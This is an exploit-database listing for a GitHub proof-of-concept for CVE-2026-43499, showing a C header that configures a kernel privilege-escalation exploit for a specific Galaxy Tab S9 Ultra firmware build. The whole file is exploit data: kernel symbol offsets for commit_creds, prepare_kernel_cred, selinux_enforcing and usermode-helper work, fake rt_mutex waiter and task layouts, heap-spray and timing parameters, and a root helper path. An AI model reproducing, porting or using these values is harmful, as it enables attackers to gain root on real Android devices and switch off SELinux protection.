Exploit database

GH-8022cce0b805f41e670e561ab32664ea

abdgalaxy36-code/rmgp-complete-handoff

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

165 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

RMGP/src/targets/gts9u-X916BXXS6EZG3/target.h

Text · 12,837 bytes
#ifndef OFFSET_H
#define OFFSET_H

// gts9u-X916BXXS6EZG3 (Galaxy Tab S9 Ultra, SM8550/Kalama, Android 16,
// kernel 5.15.189-android13-8-33413632-abX916BXXS6EZG3) port of the
// dm3q-S918BXXSAFZF5 hardware-proven MCAST/SIGRETURN engine (PR #227,
// itself stacked on PR #223's S916B FZG1 profile).
//
// All FAKE_WAITER_*/FAKE_TASK_*/POOL_*/CFG_*/WQ_* struct-layout offsets
// below were independently confirmed via BTF against our own vmlinux and
// turned out BYTE-IDENTICAL to S918B FZF5's -- expected, since these are
// generic sched/locking/workqueue structs not touched by Samsung/Android-
// version customization at this kernel version.
//
// MCAST_WAITER_OFF 0x78 derived fresh via full static disassembly of our
// OWN vmlinux.elf (not copied): chain is
//   __arm64_sys_setsockopt(0x10) + __sys_setsockopt(0x70) +
//   sock_common_setsockopt(0x10) + ipv6_setsockopt(0x40) +
//   do_ipv6_setsockopt(0x2c0), greqs at sp+0x40 (struct group_source_req,
//   confirmed by the `add x3, sp, #0x40` arg to ip6_mc_source).
// futex side: do_el0_svc(0x10)+el0_svc_common(0x30)+invoke_syscall(0x20)+
//   __arm64_sys_futex(0x80)+do_futex(0x140)+futex_wait_requeue_pi(0x1b0),
//   waiter at sp+0x98 (confirmed by `add x1/x2, sp, #0x98` args to
//   try_to_take_rt_mutex/remove_waiter).
// Both chains are 100% generic kernel code (net/ipv6 stack, futex core,
// syscall entry) shared across all Android13-based 5.15.189 GKI builds --
// this is why the derived value lands exactly on S918B's own 0x78, as a
// structural consequence, not a coincidence or a copy.

#ifndef MM_STRUCT_SZ
#define MM_STRUCT_SZ 0x3e0
#endif

#define KMALLOC_CGROUP_TYPE 1
#define KMALLOC_CACHE_TYPES 3

#define MM_ORDER 3
#define KSNITCH_COLLISIONS 4
#define KERNELSNITCH_VERBOSE 1
#define KERNELSNITCH_MTE_ENABLED 0
#define KERNELSNITCH_THRESHOLD_MULT 10
#define FAKE_WAITER_PRIO 130
#define PSELECT_ENTER_DELAY_USEC 50000

#if defined(APP_PAYLOAD) && APP_PAYLOAD
#define SLIDE_MCAST_DOMAIN AF_INET6
#define SLIDE_MCAST_LEVEL IPPROTO_IPV6
#define SLIDE_MCAST_OPTION MCAST_JOIN_SOURCE_GROUP
/* S918B's default of 2 starved this stage on our device: our own prior
 * sessions needed up to 72 inner retries for this exact KernelSnitch
 * collision-timing mechanism to land reliably (same technique, just a
 * per-device success-rate difference). Raised to match. */
#define SLIDE_KERNEL_PAGE_SETUP_ATTEMPTS 24
#define FOPS_KERNEL_PAGE_SETUP_ATTEMPTS 72
#define BUILD_VARIANT_LABEL "gts9u-X916BXXS6EZG3-tracefs-shaped-configfs-pipe-root"
#define APP_PHYS_P0_ORACLE 1
#define APP_TRACEFS_SLIDE 1
#define APP_CLOSED_FOPS_ROUTE 1
/* Left disabled (unlike S918B): this new "controlled" reclaim algorithm
 * is untested on our hardware and was the actual source of the
 * unresolved 0-collisions / never-completes failures. Falls back to the
 * classic pre/post/spray-context spray that we've already independently
 * proven works reliably on this exact device (KSNITCH_COLLISIONS-based),
 * keeping only the new MCAST writer as the genuinely new, untested part. */
#define APP_CONTROLLED_MM_GROUP_RECLAIM 0
#define APP_FOPS_ROUTE_COARSE_DELAY_USEC 50000
#define APP_FOPS_ROUTE_FINE_DELAY_TICKS \
  0ULL, 0x10ULL, 0x20ULL, 0x30ULL, 0x40ULL, 0x60ULL, 0x80ULL, 0x18ULL
#define APP_FOPS_BEFORE_PIPE 1
#define APP_EXACT_PIPE_BUFFER_ONLY 1
#define APP_PRODUCTION_STACK_PI_RIGHT_ONLY 1
#define APP_ROOT_REF_HOLDER_REQUIRED 0
#define DEFAULT_EXPLOIT_ATTEMPTS 8
#else
#define BUILD_VARIANT_LABEL "gts9u-X916BXXS6EZG3-root-umh"
#endif

#ifndef BUILD_FINGERPRINT
#define BUILD_FINGERPRINT \
  "samsung/gts9uxxx/gts9u:16/BP4A.251205.006/X916BXXS6EZG3:user/release-keys"
#endif

#define KIMAGE_TEXT_BASE 0xffffffc008000000ULL
#define P0_PAGE_OFFSET 0xffffff8000000000ULL
#ifndef P0_PHYS_OFFSET
#define P0_PHYS_OFFSET 0x80000000ULL
#endif
#ifndef P0_KERNEL_PHYS_LOAD
#define P0_KERNEL_PHYS_LOAD 0x80080000ULL
#endif

#define SKB_DATA_DELTA (-0xe80LL)
#define SKB_SEND_SIZE 0x8e80
#define SKB_RECLAIM_SENDS 64
#define APP_SLIDE_RECLAIM_SENDS 64
#define PIPE_MAX_ATTEMPTS 12

#define SLIDE_FAKE_WAITER_PRIO 0
#define SLIDE_WAITER_WAKE_STATE 0
#define SLIDE_LOCK_OWNER_VALUE 0ULL
#define SLIDE_WAIT_NSEC 2000000000L
#define SLIDE_REQUEUE_ARM_USEC 20000
#define SLIDE_USE_FAKE_TASK 1
#define LEGACY_RT_MUTEX_WAITER 0
#define COMPACT_RT_MUTEX_WAITER 1
#define SLIDE_RB_PARENT_TYPE_RESTORE 1ULL
#define SLIDE_TRACEFS_EVENT_ID 108
#define SLIDE_TRACEFS_WORKER_CALLER_OFF 0x0010db44ULL
#define SLIDE_P0_OFFSET_CANDIDATES \
  0x000000ULL, 0x008000ULL, 0x010000ULL, 0x018000ULL, \
  0x020000ULL, 0x028000ULL, 0x030000ULL, 0x038000ULL, \
  0x040000ULL, 0x048000ULL, 0x050000ULL, 0x058000ULL, \
  0x060000ULL, 0x068000ULL, 0x070000ULL, 0x078000ULL, \
  0x080000ULL, 0x088000ULL, 0x090000ULL, 0x098000ULL, \
  0x0a0000ULL, 0x0a8000ULL, 0x0b0000ULL, 0x0b8000ULL, \
  0x0c0000ULL, 0x0c8000ULL, 0x0d0000ULL, 0x0d8000ULL, \
  0x0e0000ULL, 0x0e8000ULL, 0x0f0000ULL, 0x0f8000ULL, \
  0x100000ULL, 0x108000ULL, 0x110000ULL, 0x118000ULL, \
  0x120000ULL, 0x128000ULL, 0x130000ULL, 0x138000ULL, \
  0x140000ULL, 0x148000ULL, 0x150000ULL, 0x158000ULL, \
  0x160000ULL, 0x168000ULL, 0x170000ULL, 0x178000ULL, \
  0x180000ULL, 0x188000ULL, 0x190000ULL, 0x198000ULL, \
  0x1a0000ULL, 0x1a8000ULL, 0x1b0000ULL, 0x1b8000ULL, \
  0x1c0000ULL, 0x1c8000ULL, 0x1d0000ULL, 0x1d8000ULL, \
  0x1e0000ULL, 0x1e8000ULL, 0x1f0000ULL, 0x1f8000ULL
#define SLIDE_MAX_ATTEMPTS 64

#if defined(APP_PAYLOAD) && APP_PAYLOAD
#define ROUTE_WAIT_SECONDS 8
#define SLIDE_KSNITCH_APPENDED_FUTEXES 2048
#define SLIDE_KSNITCH_REPEAT_MEASUREMENT 64
#define SLIDE_KSNITCH_AVERAGE 8
#define SLIDE_BANK_SLOTS 4
#define SLIDE_BANK_TASK_OFF 0x1000
#define SLIDE_BANK_TASK_STRIDE 0x1c0
#define SLIDE_BANK_LOCK_OFF 0x5200
#define SLIDE_BANK_SLOT_STRIDE 0x100
#define SLIDE_BANK_WAITER_OFF 0x40
#define SLIDE_STACK_WRITER_MCAST 1
#define SLIDE_STACK_WRITER_SIGRETURN 2
#ifndef SLIDE_STACK_WRITER
#error gts9u stack writer must be set by the build
#endif
#define MCAST_WAITER_OFF 0x78
/* Not yet derived for gts9u -- only used if SLIDE_STACK_WRITER=2 is built.
 * Placeholder values copied from S918B pending our own disassembly of
 * restore_fpsimd_context; do not trust until re-derived on this device. */
#define SIGRETURN_FPSIMD_WAITER_OFF 0x18
#define SIGRETURN_SVE_WAITER_OFF 0x28
#define P0_ORACLE_GATE_SLOT 0
#define P0_ORACLE_PROBE_SLOT 1
#define P0_ORACLE_GATE_RESTORE_SLOT 2
#define P0_ORACLE_PROBE_RESTORE_SLOT 3
#define P0_ORACLE_GATE_PAGE_OFF 0x0e80
#define P0_ORACLE_GATE_OBJECT_INDEX 1
#define P0_ORACLE_PROBE_OFFSET 0x1f8000ULL
#define P0_FINGERPRINT_HEADER \
  "targets/gts9u-X916BXXS6EZG3/p0_fingerprint.h"
#endif

#define KERNELSNITCH_IDENTITY_START 0xffffff8000000000ULL
#define KERNELSNITCH_IDENTITY_END 0xffffff9000000000ULL
#define DIRECT_MAP_BASE 0xffffff8000000000ULL
#define DIRECT_MAP_END 0xffffff9000000000ULL
#define VMEMMAP_START 0xfffffffe00000000ULL

#define MM_DMA32_ALIAS_START 0xffffff8000000000ULL
#define MM_DMA32_ALIAS_END 0xffffff8080000000ULL
#define MM_NORMAL_ALIAS_START MM_DMA32_ALIAS_END
#define MM_NORMAL_ALIAS_END KERNELSNITCH_IDENTITY_END

#define APPENDED_FUTEXES 4096
#define REPEAT_MEASUREMENT 128
#define AVERAGE 8
#define KERNELSNITCH_BASELINE_SAMPLES 8
#define KERNELSNITCH_BASELINE_QUANTILE 1
#define S918_PAGE_SCAN_MAX 256
#define S918_KSNITCH_HINT_COLLISIONS 2
#define S918_KSNITCH_FULL_COLLISIONS 5
#define S918_DMA32_SKIP_SLABS 8
#define S918_TRIGGER_SLABS 24
#define S918_SKB_SENDS 256
#define S918_SKB_SNDBUF 8388608
#define S918_RECLAIM_SOCKET_PAIRS 32

#define TASK_STRUCT_CRED_OFF      0x5e0ULL
#define TASK_STRUCT_REAL_CRED_OFF 0x5d8ULL
#define FAKE_TASK_TASK_GROUP_OFF  0x400ULL

#define INIT_TASK_OFF             0x02c05080ULL
#define PREPARE_KERNEL_CRED_OFF   0x0011e3c8ULL
#define COMMIT_CREDS_OFF          0x00120104ULL
#define OVERRIDE_CREDS_OFF        0x0011f1dcULL
#define ROOT_TASK_GROUP_OFF       0x02cb9ac0ULL
#define SELINUX_ENFORCING_OFF     0x02d8e5c0ULL
#define KMALLOC_CACHES_OFF        0x020646b8ULL
#define ANON_PIPE_BUF_OPS_OFF     0x01e7f6a0ULL
#define SYSTEM_UNBOUND_WQ_OFF     0x02a90800ULL
#define CALL_USERMODEHELPER_EXEC_WORK_OFF 0x001045d0ULL

#define ASHMEM_FOPS_OFF           0x0200d6f8ULL
#define ASHMEM_MISC_FOPS_OFF      0x02bfcf28ULL
#define ASHMEM_IOCTL_OFF          0x0114c6dcULL
#define ASHMEM_COMPAT_IOCTL_OFF   0x0114cd38ULL
#define ASHMEM_MMAP_OFF           0x0114cd90ULL
#define ASHMEM_OPEN_OFF           0x0114d070ULL
#define ASHMEM_RELEASE_OFF        0x0114d108ULL
#define ASHMEM_SHOW_FDINFO_OFF    0x0114d224ULL
#define CONFIGFS_READ_ITER_OFF    0x005d7420ULL
#define CONFIGFS_BIN_WRITE_ITER_OFF 0x005d7e48ULL
#define COPY_SPLICE_READ_OFF      0x00528198ULL
#define NOOP_LLSEEK_OFF           0x004bbd34ULL

#define ASHMEM_MISC_FOPS (KIMAGE_TEXT_BASE + ASHMEM_MISC_FOPS_OFF)
#define ASHMEM_FOPS (KIMAGE_TEXT_BASE + ASHMEM_FOPS_OFF)
#define ASHMEM_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_IOCTL_OFF)
#define ASHMEM_COMPAT_IOCTL (KIMAGE_TEXT_BASE + ASHMEM_COMPAT_IOCTL_OFF)
#define ASHMEM_MMAP (KIMAGE_TEXT_BASE + ASHMEM_MMAP_OFF)
#define ASHMEM_OPEN (KIMAGE_TEXT_BASE + ASHMEM_OPEN_OFF)
#define ASHMEM_RELEASE (KIMAGE_TEXT_BASE + ASHMEM_RELEASE_OFF)
#define ASHMEM_SHOW_FDINFO (KIMAGE_TEXT_BASE + ASHMEM_SHOW_FDINFO_OFF)
#define CONFIGFS_READ_ITER (KIMAGE_TEXT_BASE + CONFIGFS_READ_ITER_OFF)
#define CONFIGFS_BIN_WRITE_ITER (KIMAGE_TEXT_BASE + CONFIGFS_BIN_WRITE_ITER_OFF)
#define COPY_SPLICE_READ (KIMAGE_TEXT_BASE + COPY_SPLICE_READ_OFF)
#define NOOP_LLSEEK (KIMAGE_TEXT_BASE + NOOP_LLSEEK_OFF)
#define INIT_TASK (KIMAGE_TEXT_BASE + INIT_TASK_OFF)
#define ROOT_TASK_GROUP (KIMAGE_TEXT_BASE + ROOT_TASK_GROUP_OFF)
#define SELINUX_ENFORCING (KIMAGE_TEXT_BASE + SELINUX_ENFORCING_OFF)
#define KMALLOC_CACHES (KIMAGE_TEXT_BASE + KMALLOC_CACHES_OFF)
#define ANON_PIPE_BUF_OPS (KIMAGE_TEXT_BASE + ANON_PIPE_BUF_OPS_OFF)
#define SYSTEM_UNBOUND_WQ (KIMAGE_TEXT_BASE + SYSTEM_UNBOUND_WQ_OFF)
#define CALL_USERMODEHELPER_EXEC_WORK (KIMAGE_TEXT_BASE + CALL_USERMODEHELPER_EXEC_WORK_OFF)

#define ROOT_UMH_PATH "/data/local/tmp/cve-2026-43499-root"
#define ROOT_UMH_WORK_OFF 0x6000
#define ROOT_UMH_DATA_OFF 0x6200

#define SLIDE_NFULNL_LOGGER_NAME_OFF 0x01d5df02ULL
#define SLIDE_NFULNL_LOGGER_OBJECT_OFF 0x02a91e48ULL
#define SLIDE_RANDOM_TABLE_BOOT_ID_DATA_PTR_OFF 0x02bba9c8ULL
#define SLIDE_INIT_TASK_OFF INIT_TASK_OFF
#define SLIDE_ROOT_TASK_GROUP_OFF ROOT_TASK_GROUP_OFF
#define SLIDE_SYSCTL_BOOTID_OFF 0x02e6c0b1ULL

#define SLIDE_NFULNL_LOGGER_NAME_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_NAME_OFF)
#define SLIDE_NFULNL_LOGGER_OBJECT_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_NFULNL_LOGGER_OBJECT_OFF)
#define SLIDE_RANDOM_TABLE_BOOT_ID_DATA_PTR_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_RANDOM_TABLE_BOOT_ID_DATA_PTR_OFF)
#define SLIDE_INIT_TASK_IMAGE (KIMAGE_TEXT_BASE + SLIDE_INIT_TASK_OFF)
#define SLIDE_ROOT_TASK_GROUP_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_ROOT_TASK_GROUP_OFF)
#define SLIDE_SYSCTL_BOOTID_IMAGE \
  (KIMAGE_TEXT_BASE + SLIDE_SYSCTL_BOOTID_OFF)

#define LOCK_OFF 0x2210
#define W0_OFF 0x2350
#define FOPS_OFF 0x2000
#define SCRATCH_OFF 0x3000
#define RIGHT_OFF 0x4440
#define LEFT_OFF 0x5550
#define FAKE_TASK_OFF 0x3200

#define FAKE_WAITER_PI_TREE_ENTRY_OFF 0x18
#define FAKE_WAITER_TASK_OFF 0x30
#define FAKE_WAITER_LOCK_OFF 0x38
#define FAKE_WAITER_WAKE_STATE_OFF 0x40
#define FAKE_WAITER_PRIO_OFF 0x44
#define FAKE_WAITER_DEADLINE_OFF 0x48
#define FAKE_WAITER_WW_CTX_OFF 0x50
#define FAKE_WAITER_LAYOUT_SIZE 0x58

#define FAKE_TASK_USAGE_OFF 0x38
#define FAKE_TASK_PRIO_OFF 0x7c
#define FAKE_TASK_NORMAL_PRIO_OFF 0x84
#define FAKE_TASK_PI_LOCK_OFF 0x884
#define FAKE_TASK_PI_WAITERS_OFF 0x898
#define FAKE_TASK_PI_TOP_TASK_OFF 0x8a8
#define FAKE_TASK_PI_BLOCKED_ON_OFF 0x8b0

#define CFG_PAGE_OFF 16
#define CFG_NEEDS_READ_FILL_OFF 80
#define CFG_BIN_BUFFER_OFF 88
#define CFG_BIN_BUFFER_SIZE_OFF 96
#define CFG_CB_MAX_SIZE_OFF 100

#define WQ_DFL_PWQ_OFF 0xb0
#define PWQ_POOL_OFF 0x00
#define PWQ_WQ_OFF 0x08
#define PWQ_WORK_COLOR_OFF 0x10
#define PWQ_REFCNT_OFF 0x18
#define PWQ_NR_IN_FLIGHT_OFF 0x1c
#define PWQ_NR_ACTIVE_OFF 0x5c
#define PWQ_MAX_ACTIVE_OFF 0x60
#define POOL_WORKLIST_OFF 0x20
#define POOL_NR_IDLE_OFF 0x34

#define WORK_DATA_OFF 0x00
#define WORK_ENTRY_OFF 0x08
#define WORK_FUNC_OFF 0x18

#define STRUCT_PAGE_SIZE 0x40
#define STRUCT_PAGE_COMPOUND_HEAD_OFF 0x08
#define STRUCT_SLAB_CACHE_OFF 0x18
#define STRUCT_PAGE_TYPE_OFF 0x30

#define PIPE_BUFFER_SLOTS 32
#define PIPE_BUF_FLAG_CAN_MERGE 0x10

#define FOPS_OWNER_OFF 0x00
#define FOPS_LLSEEK_OFF 0x08
#define FOPS_READ_OFF 0x10
#define FOPS_WRITE_OFF 0x18
#define FOPS_READ_ITER_OFF 0x20
#define FOPS_WRITE_ITER_OFF 0x28
#define FOPS_IOCTL_OFF 0x50
#define FOPS_COMPAT_IOCTL_OFF 0x58
#define FOPS_MMAP_OFF 0x60
#define FOPS_OPEN_OFF 0x70
#define FOPS_RELEASE_OFF 0x80
#define FOPS_SPLICE_READ_OFF 0xc8
#define FOPS_SHOW_FDINFO_OFF 0xe0

#endif